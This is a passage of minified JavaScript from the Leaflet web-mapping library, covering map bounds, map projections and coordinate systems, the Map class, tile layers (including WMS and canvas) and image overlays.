t=this._southWest,i=this._northEast,u=Math.abs(t.lat-i.lat)*n,f=Math.abs(t.lng-i.lng)*n;return new r.LatLngBounds(new r.LatLng(t.lat-u,t.lng-f),new r.LatLng(i.lat+u,i.lng+f))},getCenter:function(){return new r.LatLng((this._southWest.lat+this._northEast.lat)/2,(this._southWest.lng+this._northEast.lng)/2)},getSouthWest:function(){return this._southWest},getNorthEast:function(){return this._northEast},getNorthWest:function(){return new r.LatLng(this.getNorth(),this.getWest())},getSouthEast:function(){return new r.LatLng(this.getSouth(),this.getEast())},getWest:function(){return this._southWest.lng},getSouth:function(){return this._southWest.lat},getEast:function(){return this._northEast.lng},getNorth:function(){return this._northEast.lat},contains:function(n){n="number"==typeof n[0]||n instanceof r.LatLng?r.latLng(n):r.latLngBounds(n);var t,i,u=this._southWest,f=this._northEast;return n instanceof r.LatLngBounds?(t=n.getSouthWest(),i=n.getNorthEast()):t=i=n,t.lat>=u.lat&&i.lat<=f.lat&&t.lng>=u.lng&&i.lng<=f.lng},intersects:function(n){n=r.latLngBounds(n);var t=this._southWest,i=this._northEast,u=n.getSouthWest(),f=n.getNorthEast(),e=f.lat>=t.lat&&u.lat<=i.lat,o=f.lng>=t.lng&&u.lng<=i.lng;return e&&o},toBBoxString:function(){return[this.getWest(),this.getSouth(),this.getEast(),this.getNorth()].join(",")},equals:function(n){return n?(n=r.latLngBounds(n),this._southWest.equals(n.getSouthWest())&&this._northEast.equals(n.getNorthEast())):!1},isValid:function(){return!(!this._southWest||!this._northEast)}};r.latLngBounds=function(n,t){return!n||n instanceof r.LatLngBounds?n:new r.LatLngBounds(n,t)};r.Projection={};r.Projection.SphericalMercator={MAX_LATITUDE:85.0511287798,project:function(n){var i=r.LatLng.DEG_TO_RAD,u=this.MAX_LATITUDE,f=Math.max(Math.min(u,n.lat),-u),e=n.lng*i,t=f*i;return t=Math.log(Math.tan(Math.PI/4+t/2)),new r.Point(e,t)},unproject:function(n){var t=r.LatLng.RAD_TO_DEG,i=n.x*t,u=(2*Math.atan(Math.exp(n.y))-Math.PI/2)*t;return new r.LatLng(u,i)}};r.Projection.LonLat={project:function(n){return new r.Point(n.lng,n.lat)},unproject:function(n){return new r.LatLng(n.y,n.x)}};r.CRS={latLngToPoint:function(n,t){var i=this.projection.project(n),r=this.scale(t);return this.transformation._transform(i,r)},pointToLatLng:function(n,t){var i=this.scale(t),r=this.transformation.untransform(n,i);return this.projection.unproject(r)},project:function(n){return this.projection.project(n)},scale:function(n){return 256*Math.pow(2,n)},getSize:function(n){var t=this.scale(n);return r.point(t,t)}};r.CRS.Simple=r.extend({},r.CRS,{projection:r.Projection.LonLat,transformation:new r.Transformation(1,0,-1,0),scale:function(n){return Math.pow(2,n)}});r.CRS.EPSG3857=r.extend({},r.CRS,{code:"EPSG:3857",projection:r.Projection.SphericalMercator,transformation:new r.Transformation(.5/Math.PI,.5,-.5/Math.PI,.5),project:function(n){var t=this.projection.project(n);return t.multiplyBy(6378137)}});r.CRS.EPSG900913=r.extend({},r.CRS.EPSG3857,{code:"EPSG:900913"});r.CRS.EPSG4326=r.extend({},r.CRS,{code:"EPSG:4326",projection:r.Projection.LonLat,transformation:new r.Transformation(1/360,.5,-1/360,.5)});r.Map=r.Class.extend({includes:r.Mixin.Events,options:{crs:r.CRS.EPSG3857,fadeAnimation:r.DomUtil.TRANSITION&&!r.Browser.android23,trackResize:!0,markerZoomAnimation:r.DomUtil.TRANSITION&&r.Browser.any3d},initialize:function(n,t){t=r.setOptions(this,t);this._initContainer(n);this._initLayout();this._onResize=r.bind(this._onResize,this);this._initEvents();t.maxBounds&&this.setMaxBounds(t.maxBounds);t.center&&t.zoom!==i&&this.setView(r.latLng(t.center),t.zoom,{reset:!0});this._handlers=[];this._layers={};this._zoomBoundLayers={};this._tileLayersNum=0;this.callInitHooks();this._addLayers(t.layers)},setView:function(n,t){return t=t===i?this.getZoom():t,this._resetView(r.latLng(n),this._limitZoom(t)),this},setZoom:function(n,t){return this._loaded?this.setView(this.getCenter(),n,{zoom:t}):(this._zoom=this._limitZoom(n),this)},zoomIn:function(n,t){return this.setZoom(this._zoom+(n||1),t)},zoomOut:function(n,t){return this.setZoom(this._zoom-(n||1),t)},setZoomAround:function(n,t,i){var f=this.getZoomScale(t),u=this.getSize().divideBy(2),e=n instanceof r.Point?n:this.latLngToContainerPoint(n),o=e.subtract(u).multiplyBy(1-1/f),s=this.containerPointToLatLng(u.add(o));return this.setView(s,t,{zoom:i})},fitBounds:function(n,t){t=t||{};n=n.getBounds?n.getBounds():r.latLngBounds(n);var u=r.point(t.paddingTopLeft||t.padding||[0,0]),f=r.point(t.paddingBottomRight||t.padding||[0,0]),i=this.getBoundsZoom(n,!1,u.add(f));i=t.maxZoom?Math.min(t.maxZoom,i):i;var e=f.subtract(u).divideBy(2),o=this.project(n.getSouthWest(),i),s=this.project(n.getNorthEast(),i),h=this.unproject(o.add(s).divideBy(2).add(e),i);return this.setView(h,i,t)},fitWorld:function(n){return this.fitBounds([[-90,-180],[90,180]],n)},panTo:function(n,t){return this.setView(n,this._zoom,{pan:t})},panBy:function(n){return this.fire("movestart"),this._rawPanBy(r.point(n)),this.fire("move"),this.fire("moveend")},setMaxBounds:function(n){return n=r.latLngBounds(n),this.options.maxBounds=n,n?(this._loaded&&this._panInsideMaxBounds(),this.on("moveend",this._panInsideMaxBounds,this)):this.off("moveend",this._panInsideMaxBounds,this)},panInsideBounds:function(n,t){var i=this.getCenter(),r=this._limitCenter(i,this._zoom,n);return i.equals(r)?this:this.panTo(r,t)},addLayer:function(n){var t=r.stamp(n);return this._layers[t]?this:(this._layers[t]=n,!n.options||isNaN(n.options.maxZoom)&&isNaN(n.options.minZoom)||(this._zoomBoundLayers[t]=n,this._updateZoomLevels()),this.options.zoomAnimation&&r.TileLayer&&n instanceof r.TileLayer&&(this._tileLayersNum++,this._tileLayersToLoad++,n.on("load",this._onTileLayerLoad,this)),this._loaded&&this._layerAdd(n),this)},removeLayer:function(n){var t=r.stamp(n);return this._layers[t]?(this._loaded&&n.onRemove(this),delete this._layers[t],this._loaded&&this.fire("layerremove",{layer:n}),this._zoomBoundLayers[t]&&(delete this._zoomBoundLayers[t],this._updateZoomLevels()),this.options.zoomAnimation&&r.TileLayer&&n instanceof r.TileLayer&&(this._tileLayersNum--,this._tileLayersToLoad--,n.off("load",this._onTileLayerLoad,this)),this):this},hasLayer:function(n){return n?r.stamp(n)in this._layers:!1},eachLayer:function(n,t){for(var i in this._layers)n.call(t,this._layers[i]);return this},invalidateSize:function(n){var i;if(!this._loaded)return this;n=r.extend({animate:!1,pan:!0},n===!0?{animate:!0}:n);i=this.getSize();this._sizeChanged=!0;this._initialCenter=null;var u=this.getSize(),f=i.divideBy(2).round(),e=u.divideBy(2).round(),t=f.subtract(e);return t.x||t.y?(n.animate&&n.pan?this.panBy(t):(n.pan&&this._rawPanBy(t),this.fire("move"),n.debounceMoveend?(clearTimeout(this._sizeTimer),this._sizeTimer=setTimeout(r.bind(this.fire,this,"moveend"),200)):this.fire("moveend")),this.fire("resize",{oldSize:i,newSize:u})):this},addHandler:function(n,t){if(!t)return this;var i=this[n]=new t(this);return this._handlers.push(i),this.options[n]&&i.enable(),this},remove:function(){this._loaded&&this.fire("unload");this._initEvents("off");try{delete this._container._leaflet}catch(n){this._container._leaflet=i}return this._clearPanes(),this._clearControlPos&&this._clearControlPos(),this._clearHandlers(),this},getCenter:function(){return this._checkIfLoaded(),this._initialCenter&&!this._moved()?this._initialCenter:this.layerPointToLatLng(this._getCenterLayerPoint())},getZoom:function(){return this._zoom},getBounds:function(){var n=this.getPixelBounds(),t=this.unproject(n.getBottomLeft()),i=this.unproject(n.getTopRight());return new r.LatLngBounds(t,i)},getMinZoom:function(){return this.options.minZoom===i?this._layersMinZoom===i?0:this._layersMinZoom:this.options.minZoom},getMaxZoom:function(){return this.options.maxZoom===i?this._layersMaxZoom===i?1/0:this._layersMaxZoom:this.options.maxZoom},getBoundsZoom:function(n,t,i){n=r.latLngBounds(n);var f,u=this.getMinZoom()-(t?1:0),s=this.getMaxZoom(),e=this.getSize(),h=n.getNorthWest(),c=n.getSouthEast(),o=!0;i=r.point(i||[0,0]);do u++,f=this.project(c,u).subtract(this.project(h,u)).add(i),o=t?f.x<e.x||f.y<e.y:e.contains(f);while(o&&s>=u);return o&&t?null:t?u:u-1},getSize:function(){return(!this._size||this._sizeChanged)&&(this._size=new r.Point(this._container.clientWidth,this._container.clientHeight),this._sizeChanged=!1),this._size.clone()},getPixelBounds:function(){var n=this._getTopLeftPoint();return new r.Bounds(n,n.add(this.getSize()))},getPixelOrigin:function(){return this._checkIfLoaded(),this._initialTopLeftPoint},getPanes:function(){return this._panes},getContainer:function(){return this._container},getZoomScale:function(n){var t=this.options.crs;return t.scale(n)/t.scale(this._zoom)},getScaleZoom:function(n){return this._zoom+Math.log(n)/Math.LN2},project:function(n,t){return t=t===i?this._zoom:t,this.options.crs.latLngToPoint(r.latLng(n),t)},unproject:function(n,t){return t=t===i?this._zoom:t,this.options.crs.pointToLatLng(r.point(n),t)},layerPointToLatLng:function(n){var t=r.point(n).add(this.getPixelOrigin());return this.unproject(t)},latLngToLayerPoint:function(n){var t=this.project(r.latLng(n))._round();return t._subtract(this.getPixelOrigin())},containerPointToLayerPoint:function(n){return r.point(n).subtract(this._getMapPanePos())},layerPointToContainerPoint:function(n){return r.point(n).add(this._getMapPanePos())},containerPointToLatLng:function(n){var t=this.containerPointToLayerPoint(r.point(n));return this.layerPointToLatLng(t)},latLngToContainerPoint:function(n){return this.layerPointToContainerPoint(this.latLngToLayerPoint(r.latLng(n)))},mouseEventToContainerPoint:function(n){return r.DomEvent.getMousePosition(n,this._container)},mouseEventToLayerPoint:function(n){return this.containerPointToLayerPoint(this.mouseEventToContainerPoint(n))},mouseEventToLatLng:function(n){return this.layerPointToLatLng(this.mouseEventToLayerPoint(n))},_initContainer:function(n){var t=this._container=r.DomUtil.get(n);if(!t)throw new Error("Map container not found.");if(t._leaflet)throw new Error("Map container is already initialized.");t._leaflet=!0},_initLayout:function(){var t=this._container,n;r.DomUtil.addClass(t,"leaflet-container"+(r.Browser.touch?" leaflet-touch":"")+(r.Browser.retina?" leaflet-retina":"")+(r.Browser.ielt9?" leaflet-oldie":"")+(this.options.fadeAnimation?" leaflet-fade-anim":""));n=r.DomUtil.getStyle(t,"position");"absolute"!==n&&"relative"!==n&&"fixed"!==n&&(t.style.position="relative");this._initPanes();this._initControlPos&&this._initControlPos()},_initPanes:function(){var n=this._panes={},t;this._mapPane=n.mapPane=this._createPane("leaflet-map-pane",this._container);this._tilePane=n.tilePane=this._createPane("leaflet-tile-pane",this._mapPane);n.objectsPane=this._createPane("leaflet-objects-pane",this._mapPane);n.shadowPane=this._createPane("leaflet-shadow-pane");n.overlayPane=this._createPane("leaflet-overlay-pane");n.markerPane=this._createPane("leaflet-marker-pane");n.popupPane=this._createPane("leaflet-popup-pane");t=" leaflet-zoom-hide";this.options.markerZoomAnimation||(r.DomUtil.addClass(n.markerPane,t),r.DomUtil.addClass(n.shadowPane,t),r.DomUtil.addClass(n.popupPane,t))},_createPane:function(n,t){return r.DomUtil.create("div",n,t||this._panes.objectsPane)},_clearPanes:function(){this._container.removeChild(this._mapPane)},_addLayers:function(n){n=n?r.Util.isArray(n)?n:[n]:[];for(var t=0,i=n.length;i>t;t++)this.addLayer(n[t])},_resetView:function(n,t,i,u){var f=this._zoom!==t,e;u||(this.fire("movestart"),f&&this.fire("zoomstart"));this._zoom=t;this._initialCenter=n;this._initialTopLeftPoint=this._getNewTopLeftPoint(n);i?this._initialTopLeftPoint._add(this._getMapPanePos()):r.DomUtil.setPosition(this._mapPane,new r.Point(0,0));this._tileLayersToLoad=this._tileLayersNum;e=!this._loaded;this._loaded=!0;this.fire("viewreset",{hard:!i});e&&(this.fire("load"),this.eachLayer(this._layerAdd,this));this.fire("move");(f||u)&&this.fire("zoomend");this.fire("moveend",{hard:!i})},_rawPanBy:function(n){r.DomUtil.setPosition(this._mapPane,this._getMapPanePos().subtract(n))},_getZoomSpan:function(){return this.getMaxZoom()-this.getMinZoom()},_updateZoomLevels:function(){var t,r=1/0,u=-(1/0),f=this._getZoomSpan(),n;for(t in this._zoomBoundLayers)n=this._zoomBoundLayers[t],isNaN(n.options.minZoom)||(r=Math.min(r,n.options.minZoom)),isNaN(n.options.maxZoom)||(u=Math.max(u,n.options.maxZoom));t===i?this._layersMaxZoom=this._layersMinZoom=i:(this._layersMaxZoom=u,this._layersMinZoom=r);f!==this._getZoomSpan()&&this.fire("zoomlevelschange")},_panInsideMaxBounds:function(){this.panInsideBounds(this.options.maxBounds)},_checkIfLoaded:function(){if(!this._loaded)throw new Error("Set map center and zoom first.");},_initEvents:function(t){if(r.DomEvent){t=t||"on";r.DomEvent[t](this._container,"click",this._onMouseClick,this);for(var f=["dblclick","mousedown","mouseup","mouseenter","mouseleave","mousemove","contextmenu"],i=0,u=f.length;u>i;i++)r.DomEvent[t](this._container,f[i],this._fireMouseEvent,this);this.options.trackResize&&r.DomEvent[t](n,"resize",this._onResize,this)}},_onResize:function(){r.Util.cancelAnimFrame(this._resizeRequest);this._resizeRequest=r.Util.requestAnimFrame(function(){this.invalidateSize({debounceMoveend:!0})},this,!1,this._container)},_onMouseClick:function(n){!this._loaded||!n._simulated&&(this.dragging&&this.dragging.moved()||this.boxZoom&&this.boxZoom.moved())||r.DomEvent._skipped(n)||(this.fire("preclick"),this._fireMouseEvent(n))},_fireMouseEvent:function(n){var t;if(this._loaded&&!r.DomEvent._skipped(n)&&(t=n.type,t="mouseenter"===t?"mouseover":"mouseleave"===t?"mouseout":t,this.hasEventListeners(t))){"contextmenu"===t&&r.DomEvent.preventDefault(n);var i=this.mouseEventToContainerPoint(n),u=this.containerPointToLayerPoint(i),f=this.layerPointToLatLng(u);this.fire(t,{latlng:f,layerPoint:u,containerPoint:i,originalEvent:n})}},_onTileLayerLoad:function(){this._tileLayersToLoad--;this._tileLayersNum&&!this._tileLayersToLoad&&this.fire("tilelayersload")},_clearHandlers:function(){for(var n=0,t=this._handlers.length;t>n;n++)this._handlers[n].disable()},whenReady:function(n,t){return this._loaded?n.call(t||this,this):this.on("load",n,t),this},_layerAdd:function(n){n.onAdd(this);this.fire("layeradd",{layer:n})},_getMapPanePos:function(){return r.DomUtil.getPosition(this._mapPane)},_moved:function(){var n=this._getMapPanePos();return n&&!n.equals([0,0])},_getTopLeftPoint:function(){return this.getPixelOrigin().subtract(this._getMapPanePos())},_getNewTopLeftPoint:function(n,t){var i=this.getSize()._divideBy(2);return this.project(n,t)._subtract(i)._round()},_latLngToNewLayerPoint:function(n,t,i){var r=this._getNewTopLeftPoint(i,t).add(this._getMapPanePos());return this.project(n,t)._subtract(r)},_getCenterLayerPoint:function(){return this.containerPointToLayerPoint(this.getSize()._divideBy(2))},_getCenterOffset:function(n){return this.latLngToLayerPoint(n).subtract(this._getCenterLayerPoint())},_limitCenter:function(n,t,i){if(!i)return n;var u=this.project(n,t),f=this.getSize().divideBy(2),e=new r.Bounds(u.subtract(f),u.add(f)),o=this._getBoundsOffset(e,i,t);return this.unproject(u.add(o),t)},_limitOffset:function(n,t){if(!t)return n;var i=this.getPixelBounds(),u=new r.Bounds(i.min.add(n),i.max.add(n));return n.add(this._getBoundsOffset(u,t))},_getBoundsOffset:function(n,t,i){var u=this.project(t.getNorthWest(),i).subtract(n.min),f=this.project(t.getSouthEast(),i).subtract(n.max),e=this._rebound(u.x,-f.x),o=this._rebound(u.y,-f.y);return new r.Point(e,o)},_rebound:function(n,t){return n+t>0?Math.round(n-t)/2:Math.max(0,Math.ceil(n))-Math.max(0,Math.floor(t))},_limitZoom:function(n){var t=this.getMinZoom(),i=this.getMaxZoom();return Math.max(t,Math.min(i,n))}});r.map=function(n,t){return new r.Map(n,t)};r.Projection.Mercator={MAX_LATITUDE:85.0840591556,R_MINOR:6356752.314245179,R_MAJOR:6378137,project:function(n){var f=r.LatLng.DEG_TO_RAD,e=this.MAX_LATITUDE,c=Math.max(Math.min(e,n.lat),-e),u=this.R_MAJOR,l=this.R_MINOR,a=n.lng*f*u,t=c*f,o=l/u,s=Math.sqrt(1-o*o),i=s*Math.sin(t),h;return i=Math.pow((1-i)/(1+i),.5*s),h=Math.tan(.5*(.5*Math.PI-t))/i,t=-u*Math.log(h),new r.Point(a,t)},unproject:function(n){for(var i,e=r.LatLng.RAD_TO_DEG,u=this.R_MAJOR,c=this.R_MINOR,l=n.x*e/u,o=c/u,s=Math.sqrt(1-o*o),h=Math.exp(-n.y/u),t=Math.PI/2-2*Math.atan(h),a=15,f=.1;Math.abs(f)>1e-7&&--a>0;)i=s*Math.sin(t),f=Math.PI/2-2*Math.atan(h*Math.pow((1-i)/(1+i),.5*s))-t,t+=f;return new r.LatLng(t*e,l)}};r.CRS.EPSG3395=r.extend({},r.CRS,{code:"EPSG:3395",projection:r.Projection.Mercator,transformation:function(){var t=r.Projection.Mercator,i=t.R_MAJOR,n=.5/(Math.PI*i);return new r.Transformation(n,.5,-n,.5)}()});r.TileLayer=r.Class.extend({includes:r.Mixin.Events,options:{minZoom:0,maxZoom:18,tileSize:256,subdomains:"abc",errorTileUrl:"",attribution:"",zoomOffset:0,opacity:1,unloadInvisibleTiles:r.Browser.mobile,updateWhenIdle:r.Browser.mobile},initialize:function(n,t){t=r.setOptions(this,t);t.detectRetina&&r.Browser.retina&&t.maxZoom>0&&(t.tileSize=Math.floor(t.tileSize/2),t.zoomOffset++,t.minZoom>0&&t.minZoom--,this.options.maxZoom--);t.bounds&&(t.bounds=r.latLngBounds(t.bounds));this._url=n;var i=this.options.subdomains;"string"==typeof i&&(this.options.subdomains=i.split(""))},onAdd:function(n){this._map=n;this._animated=n._zoomAnimated;this._initContainer();n.on({viewreset:this._reset,moveend:this._update},this);this._animated&&n.on({zoomanim:this._animateZoom,zoomend:this._endZoomAnim},this);this.options.updateWhenIdle||(this._limitedUpdate=r.Util.limitExecByInterval(this._update,150,this),n.on("move",this._limitedUpdate,this));this._reset();this._update()},addTo:function(n){return n.addLayer(this),this},onRemove:function(n){this._container.parentNode.removeChild(this._container);n.off({viewreset:this._reset,moveend:this._update},this);this._animated&&n.off({zoomanim:this._animateZoom,zoomend:this._endZoomAnim},this);this.options.updateWhenIdle||n.off("move",this._limitedUpdate,this);this._container=null;this._map=null},bringToFront:function(){var n=this._map._panes.tilePane;return this._container&&(n.appendChild(this._container),this._setAutoZIndex(n,Math.max)),this},bringToBack:function(){var n=this._map._panes.tilePane;return this._container&&(n.insertBefore(this._container,n.firstChild),this._setAutoZIndex(n,Math.min)),this},getAttribution:function(){return this.options.attribution},getContainer:function(){return this._container},setOpacity:function(n){return this.options.opacity=n,this._map&&this._updateOpacity(),this},setZIndex:function(n){return this.options.zIndex=n,this._updateZIndex(),this},setUrl:function(n,t){return this._url=n,t||this.redraw(),this},redraw:function(){return this._map&&(this._reset({hard:!0}),this._update()),this},_updateZIndex:function(){this._container&&this.options.zIndex!==i&&(this._container.style.zIndex=this.options.zIndex)},_setAutoZIndex:function(n,t){for(var u,f=n.children,r=-t(1/0,-(1/0)),i=0,e=f.length;e>i;i++)f[i]!==this._container&&(u=parseInt(f[i].style.zIndex,10),isNaN(u)||(r=t(r,u)));this.options.zIndex=this._container.style.zIndex=(isFinite(r)?r:0)+t(1,-1)},_updateOpacity:function(){var n,t=this._tiles;if(r.Browser.ielt9)for(n in t)r.DomUtil.setOpacity(t[n],this.options.opacity);else r.DomUtil.setOpacity(this._container,this.options.opacity)},_initContainer:function(){var t=this._map._panes.tilePane,n;this._container||((this._container=r.DomUtil.create("div","leaflet-layer"),this._updateZIndex(),this._animated)?(n="leaflet-tile-container",this._bgBuffer=r.DomUtil.create("div",n,this._container),this._tileContainer=r.DomUtil.create("div",n,this._container)):this._tileContainer=this._container,t.appendChild(this._container),this.options.opacity<1&&this._updateOpacity())},_reset:function(n){for(var t in this._tiles)this.fire("tileunload",{tile:this._tiles[t]});this._tiles={};this._tilesToLoad=0;this.options.reuseTiles&&(this._unusedTiles=[]);this._tileContainer.innerHTML="";this._animated&&n&&n.hard&&this._clearBgBuffer();this._initContainer()},_getTileSize:function(){var n=this._map,r=n.getZoom()+this.options.zoomOffset,t=this.options.maxNativeZoom,i=this.options.tileSize;return t&&r>t&&(i=Math.round(n.getZoomScale(r)/n.getZoomScale(t)*i)),i},_update:function(){var n;if(this._map){var t=this._map,i=t.getPixelBounds(),u=t.getZoom(),f=this._getTileSize();u>this.options.maxZoom||u<this.options.minZoom||(n=r.bounds(i.min.divideBy(f)._floor(),i.max.divideBy(f)._floor()),this._addTilesFromCenterOut(n),(this.options.unloadInvisibleTiles||this.options.reuseTiles)&&this._removeOtherTiles(n))}},_addTilesFromCenterOut:function(n){for(var i,o,f=[],h=n.getCenter(),e,s,u=n.min.y;u<=n.max.y;u++)for(i=n.min.x;i<=n.max.x;i++)o=new r.Point(i,u),this._tileShouldBeLoaded(o)&&f.push(o);if(e=f.length,0!==e){for(f.sort(function(n,t){return n.distanceTo(h)-t.distanceTo(h)}),s=t.createDocumentFragment(),this._tilesToLoad||this.fire("loading"),this._tilesToLoad+=e,i=0;e>i;i++)this._addTile(f[i],s);this._tileContainer.appendChild(s)}},_tileShouldBeLoaded:function(n){var t,i;if(n.x+":"+n.y in this._tiles||(t=this.options,!t.continuousWorld&&(i=this._getWrapTileNum(),t.noWrap&&(n.x<0||n.x>=i.x)||n.y<0||n.y>=i.y)))return!1;if(t.bounds){var r=this._getTileSize(),e=n.multiplyBy(r),o=e.add([r,r]),u=this._map.unproject(e),f=this._map.unproject(o);if(t.continuousWorld||t.noWrap||(u=u.wrap(),f=f.wrap()),!t.bounds.intersects([u,f]))return!1}return!0},_removeOtherTiles:function(n){var t,i,r;for(var u in this._tiles)t=u.split(":"),i=parseInt(t[0],10),r=parseInt(t[1],10),(i<n.min.x||i>n.max.x||r<n.min.y||r>n.max.y)&&this._removeTile(u)},_removeTile:function(n){var t=this._tiles[n];this.fire("tileunload",{tile:t,url:t.src});this.options.reuseTiles?(r.DomUtil.removeClass(t,"leaflet-tile-loaded"),this._unusedTiles.push(t)):t.parentNode===this._tileContainer&&this._tileContainer.removeChild(t);r.Browser.android||(t.onload=null,t.src=r.Util.emptyImageUrl);delete this._tiles[n]},_addTile:function(n,t){var u=this._getTilePos(n),i=this._getTile();r.DomUtil.setPosition(i,u,r.Browser.chrome);this._tiles[n.x+":"+n.y]=i;this._loadTile(i,n);i.parentNode!==this._tileContainer&&t.appendChild(i)},_getZoomForUrl:function(){var n=this.options,t=this._map.getZoom();return n.zoomReverse&&(t=n.maxZoom-t),t+=n.zoomOffset,n.maxNativeZoom?Math.min(t,n.maxNativeZoom):t},_getTilePos:function(n){var t=this._map.getPixelOrigin(),i=this._getTileSize();return n.multiplyBy(i).subtract(t)},getTileUrl:function(n){return r.Util.template(this._url,r.extend({s:this._getSubdomain(n),z:n.z,x:n.x,y:n.y},this.options))},_getWrapTileNum:function(){var n=this._map.options.crs,t=n.getSize(this._map.getZoom());return t.divideBy(this._getTileSize())._floor()},_adjustTilePoint:function(n){var t=this._getWrapTileNum();this.options.continuousWorld||this.options.noWrap||(n.x=(n.x%t.x+t.x)%t.x);this.options.tms&&(n.y=t.y-n.y-1);n.z=this._getZoomForUrl()},_getSubdomain:function(n){var t=Math.abs(n.x+n.y)%this.options.subdomains.length;return this.options.subdomains[t]},_getTile:function(){if(this.options.reuseTiles&&this._unusedTiles.length>0){var n=this._unusedTiles.pop();return this._resetTile(n),n}return this._createTile()},_resetTile:function(){},_createTile:function(){var n=r.DomUtil.create("img","leaflet-tile");return n.style.width=n.style.height=this._getTileSize()+"px",n.galleryimg="no",n.onselectstart=n.onmousemove=r.Util.falseFn,r.Browser.ielt9&&this.options.opacity!==i&&r.DomUtil.setOpacity(n,this.options.opacity),r.Browser.mobileWebkit3d&&(n.style.WebkitBackfaceVisibility="hidden"),n},_loadTile:function(n,t){n._layer=this;n.onload=this._tileOnLoad;n.onerror=this._tileOnError;this._adjustTilePoint(t);n.src=this.getTileUrl(t);this.fire("tileloadstart",{tile:n,url:n.src})},_tileLoaded:function(){this._tilesToLoad--;this._animated&&r.DomUtil.addClass(this._tileContainer,"leaflet-zoom-animated");this._tilesToLoad||(this.fire("load"),this._animated&&(clearTimeout(this._clearBgBufferTimer),this._clearBgBufferTimer=setTimeout(r.bind(this._clearBgBuffer,this),500)))},_tileOnLoad:function(){var n=this._layer;this.src!==r.Util.emptyImageUrl&&(r.DomUtil.addClass(this,"leaflet-tile-loaded"),n.fire("tileload",{tile:this,url:this.src}));n._tileLoaded()},_tileOnError:function(){var n=this._layer,t;n.fire("tileerror",{tile:this,url:this.src});t=n.options.errorTileUrl;t&&(this.src=t);n._tileLoaded()}});r.tileLayer=function(n,t){return new r.TileLayer(n,t)};r.TileLayer.WMS=r.TileLayer.extend({defaultWmsParams:{service:"WMS",request:"GetMap",version:"1.1.1",layers:"",styles:"",format:"image/jpeg",transparent:!1},initialize:function(n,t){var i,f,u;this._url=n;i=r.extend({},this.defaultWmsParams);f=t.tileSize||this.options.tileSize;i.width=t.detectRetina&&r.Browser.retina?i.height=2*f:i.height=f;for(u in t)this.options.hasOwnProperty(u)||"crs"===u||(i[u]=t[u]);this.wmsParams=i;r.setOptions(this,t)},onAdd:function(n){this._crs=this.options.crs||n.options.crs;this._wmsVersion=parseFloat(this.wmsParams.version);var t=this._wmsVersion>=1.3?"crs":"srs";this.wmsParams[t]=this._crs.code;r.TileLayer.prototype.onAdd.call(this,n)},getTileUrl:function(n){var f=this._map,u=this.options.tileSize,e=n.multiplyBy(u),s=e.add([u,u]),t=this._crs.project(f.unproject(e,n.z)),i=this._crs.project(f.unproject(s,n.z)),h=this._wmsVersion>=1.3&&this._crs===r.CRS.EPSG4326?[i.y,t.x,t.y,i.x].join(","):[t.x,i.y,i.x,t.y].join(","),o=r.Util.template(this._url,{s:this._getSubdomain(n)});return o+r.Util.getParamString(this.wmsParams,o,!0)+"&BBOX="+h},setParams:function(n,t){return r.extend(this.wmsParams,n),t||this.redraw(),this}});r.tileLayer.wms=function(n,t){return new r.TileLayer.WMS(n,t)};r.TileLayer.Canvas=r.TileLayer.extend({options:{"async":!1},initialize:function(n){r.setOptions(this,n)},redraw:function(){this._map&&(this._reset({hard:!0}),this._update());for(var n in this._tiles)this._redrawTile(this._tiles[n]);return this},_redrawTile:function(n){this.drawTile(n,n._tilePoint,this._map._zoom)},_createTile:function(){var n=r.DomUtil.create("canvas","leaflet-tile");return n.width=n.height=this.options.tileSize,n.onselectstart=n.onmousemove=r.Util.falseFn,n},_loadTile:function(n,t){n._layer=this;n._tilePoint=t;this._redrawTile(n);this.options.async||this.tileDrawn(n)},drawTile:function(){},tileDrawn:function(n){this._tileOnLoad.call(n)}});r.tileLayer.canvas=function(n){return new r.TileLayer.Canvas(n)};r.ImageOverlay=r.Class.extend({includes:r.Mixin.Events,options:{opacity:1},initialize:function(n,t,i){this._url=n;this._bounds=r.latLngBounds(t);r.setOptions(this,i)},onAdd:function(n){this._map=n;this._image||this._initImage();n._panes.overlayPane.appendChild(this._image);n.on("viewreset",this._reset,this);n.options.zoomAnimation&&r.Browser.any3d&&n.on("zoomanim",this._animateZoom,this);this._reset()},onRemove:function(n){n.getPanes().overlayPane.removeChild(this._image);n.off("viewreset",this._reset,this);n.options.zoomAnimation&&n.off("zoomanim",this._animateZoom,this)},addTo:function(n){return n.addLayer(this),this},setOpacity:function(n){return this.options.opacity=n,this._updateOpacity(),this},bringToFront:function(){return this._image&&this._map._panes.overlayPane.appendChild(this._image),this},bringToBack:function(){var n=this._map._panes.overlayPane;return this._image&&n.insertBefore(this._image,n.firstChild),this},setUrl:function(n){this._url=n;this._image.src=this._url},getAttribution:function(){return this.options.attribution},_initImage:function(){this._image=r.DomUtil.create("img","leaflet-image-layer");this._map.options.zoomAnimation&&r.Browser.any3d?r.DomUtil.addClass(this._image,"leaflet-zoom-animated"):r.DomUtil.addClass(this._image,"leaflet-zoom-hide");this._updateOpacity();r.extend(this._image,{galleryimg:"no",onselectstart:r.Util.falseFn,onmousemove:r.Util.falseFn,onload:r.bind(this._onImageLoad,this),src:this._url})},_animateZoom:function(n){var t=this._map,f=this._image,i=t.getZoomScale(n.zoom),e=this._bounds.getNorthWest(),o=this._bounds.getSouthEast(),u=t._latLngToNewLayerPoint(e,n.zoom,n.center),s=t._latLngToNewLayerPoint(o,n.zoom,n.center)._subtract(u),h=u._add(s._multiplyBy(.5*(1-1/i)));f.style[r.DomUtil.TRANSFORM]=r.DomUtil.getTranslateString(h)+" scale("+i+") "},_reset:function(){var n=this._image,t=this._map.latLngToLayerPoint(this._bounds.getNorthWest()),i=this._map.latLngToLayerPoint(this._bounds.getSouthEast())._subtract(t);r.DomUtil.setPosition(n,t);n.style.width=i.x+"px";n.style.height=i.y+"px"},_onImageLoad:function(){this.fire("load")},_updateOpacity:function(){r.DomUtil.setOpacity(this._image,this.options.opacity)}});r.imageOverlay=function(n,t,i){return new r.ImageOverlay(n,t,i)};r.Icon=r.Class.extend({options:{className:""},initialize:function(n){r.setOptions(this,n)},createIcon:function(n){return this._createIcon("icon",n)},createShadow:function(n){return this._createIcon("shadow",n)},_createIcon:function(n,t){var i=this._getIconUrl(n),r;if(!i){if("icon"===n)throw new Error("iconUrl not set in Icon options (see the docs).");return null}return r=t&&"IMG"===t.tagName?this._createImg(i,t):this._createImg(i),this._setIconStyles(r,n),r},_setIconStyles:function(n,t){var 